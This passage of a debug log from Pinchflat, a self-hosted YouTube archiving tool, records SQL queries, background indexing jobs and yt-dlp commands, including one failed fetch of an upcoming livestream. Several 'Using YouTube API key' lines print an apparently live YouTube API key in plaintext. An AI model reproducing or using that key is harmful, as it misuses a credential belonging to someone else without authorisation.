m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 16:56:34.985 [debug] QUERY OK source="media_items" db=1.2ms idle=90.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:56:34.986 [debug] QUERY OK source="tasks" db=0.1ms idle=92.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800080, 11, ~U[2026-02-10 22:56:34Z], ~U[2026-02-10 22:56:34Z]] 16:56:34.986 [info] {"args":{"id":11},"id":3800041,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":93464,"event":"job:stop","queue_time":562217,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:34.992 [info] {"args":{"id":12},"id":3800042,"meta":{},"system_time":1770764194992761730,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:34.993 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:56:34.993 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:34.993 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:34.993 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:34.993 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:56:34.993 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:34.993 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:35.098 [debug] QUERY OK source="media_items" db=0.8ms idle=104.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 16:56:35.100 [debug] QUERY OK source="media_items" db=0.6ms idle=106.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:56:35.101 [debug] QUERY OK source="tasks" db=0.1ms idle=107.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800081, 12, ~U[2026-02-10 22:56:35Z], ~U[2026-02-10 22:56:35Z]] 16:56:35.101 [info] {"args":{"id":12},"id":3800042,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":108767,"event":"job:stop","queue_time":632548,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:35.395 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8b/ea/8bea253fe006a703c47f4bf188d741161aad09dd1cd73bc85c56cbc5dde4465c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:56:35.395 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:56:35.395 [debug] QUERY OK source="settings" db=0.2ms idle=294.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.395 [debug] QUERY OK source="settings" db=0.1ms idle=294.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.396 [debug] Running yt-dlp command for action: get_media_attributes 16:56:35.401 [debug] QUERY OK source="settings" db=0.0ms idle=299.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.401 [debug] QUERY OK source="settings" db=0.0ms idle=299.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.401 [debug] QUERY OK source="settings" db=0.0ms idle=293.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.401 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/11/9d/119d26907ceae1c02b7a3d24618c5193e62e3ae2fa2f39d24fb4ee563acfa9c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:56:35.893 [info] {"args":{"id":27},"id":3800043,"meta":{},"system_time":1770764195893740317,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:35.894 [debug] QUERY OK source="sources" db=0.1ms idle=492.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:56:35.894 [debug] QUERY OK source="settings" db=0.1ms idle=492.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.894 [debug] QUERY OK source="media_profiles" db=0.1ms idle=493.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:35.894 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.894 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:56:35.895 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.895 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:35.982 [debug] QUERY OK source="media_items" db=0.5ms idle=87.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 16:56:35.983 [debug] QUERY OK source="media_items" db=0.7ms idle=88.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:56:35.984 [debug] QUERY OK source="tasks" db=0.1ms idle=89.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800082, 27, ~U[2026-02-10 22:56:35Z], ~U[2026-02-10 22:56:35Z]] 16:56:35.984 [info] {"args":{"id":27},"id":3800043,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":90721,"event":"job:stop","queue_time":583769,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:35.990 [info] {"args":{"id":28},"id":3800044,"meta":{},"system_time":1770764195990737007,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:56:35.990 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:56:35.991 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.991 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:56:35.991 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.991 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:56:35.991 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:56:35.991 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:56:36.080 [debug] QUERY OK source="media_items" db=0.7ms idle=88.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 16:56:36.081 [debug] QUERY OK source="media_items" db=0.3ms idle=89.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:56:36.082 [debug] QUERY OK source="tasks" db=0.1ms idle=90.4ms INSERT INTO "tasks" 